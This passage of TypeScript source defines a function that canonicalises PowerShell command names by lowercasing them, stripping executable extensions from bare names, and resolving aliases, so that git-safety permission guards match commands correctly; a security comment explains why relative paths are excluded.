* names so e.g. `git.exe` canonicalises to `git` and triggers git-safety
* guards (powershellPermissions.ts hasGitSubCommand). SECURITY: only strips
* when the name has no path separator — `scripts\git.exe` is a relative path
* (runs a local script, not PATH-resolved git) and must NOT canonicalise to
* `git`. Returns lowercase canonical name.
*/
export function resolveToCanonical(name: string): string {
let lower = name.toLowerCase()
// Only strip PATHEXT on bare names — paths run a specific file, not the
// PATH-resolved executable the guards are protecting against.
if (!lower.includes('\\') && !lower.includes('/')) {
lower = lower.replace(WINDOWS_PATHEXT, '')
}
const alias = COMMON_ALIASES[lower]
if (alias) {
return alias.toLowerCase()
}
return lower
}
/**
* Checks if a command name (after alias resolution) alters the path-resolution
* namespace for subsequent statements in the same compound command.